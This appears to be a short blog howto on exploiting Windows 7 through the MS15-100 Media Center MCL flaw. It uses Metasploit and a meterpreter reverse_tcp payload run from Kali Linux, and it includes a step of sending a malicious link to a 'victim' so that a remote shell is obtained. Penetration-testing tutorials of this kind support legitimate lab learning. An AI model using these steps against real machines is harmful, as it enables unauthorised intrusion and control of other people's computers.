Good evening friends. It’s been a long time since I made a howto on hacking. In this howto, I’m going to show you how to exploit Windows 7 using recently released ms15-100 Microsoft Windows Media Center MCL exploit. For this, I am gonna use pentest lab i created in our previous howto. I am using Kali Linux as my attacker system for hacking windows 7.
Start Metasploit by typing command “msfconsole”. Search for our exploit using command as shown below.
Load the exploit as shown below.
Set the IP address of Kali Linux to “srvhost” option. Set payload as “windows/meterpreter/reverse_tcp“. Set Lhost as IP address of Kali Linux.
Check if all the necessary options are set by typing command “show options“. Now run the exploit by typing command “exploit“. You will get the following result. Now copy the underlined link and send it to your victim.
When your victim clicks on the link, he will get a popup asking him to download and save the file.
When the user clicks on the downloaded file, we will get a meterpreter session on our attacker system as shown below. Type command “sessions -l ” to see the available sessions. We have one session available below.
Type command “sessions -i 1“( 1 is the session number available to us and can vary for you) to use the meterpreter session. Type “sysinfo” to know about the target system. Hurrah, we have successfully hacked our target.
